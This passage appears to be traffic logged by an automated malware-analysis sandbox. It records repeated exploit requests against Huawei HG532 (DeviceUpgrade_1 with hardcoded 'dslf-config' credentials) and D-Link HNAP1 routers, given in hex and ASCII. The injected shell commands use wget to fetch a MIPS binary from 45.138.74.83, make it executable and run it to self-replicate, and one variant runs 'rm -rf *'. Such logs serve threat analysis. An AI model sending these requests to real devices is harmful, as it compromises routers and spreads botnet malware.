6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
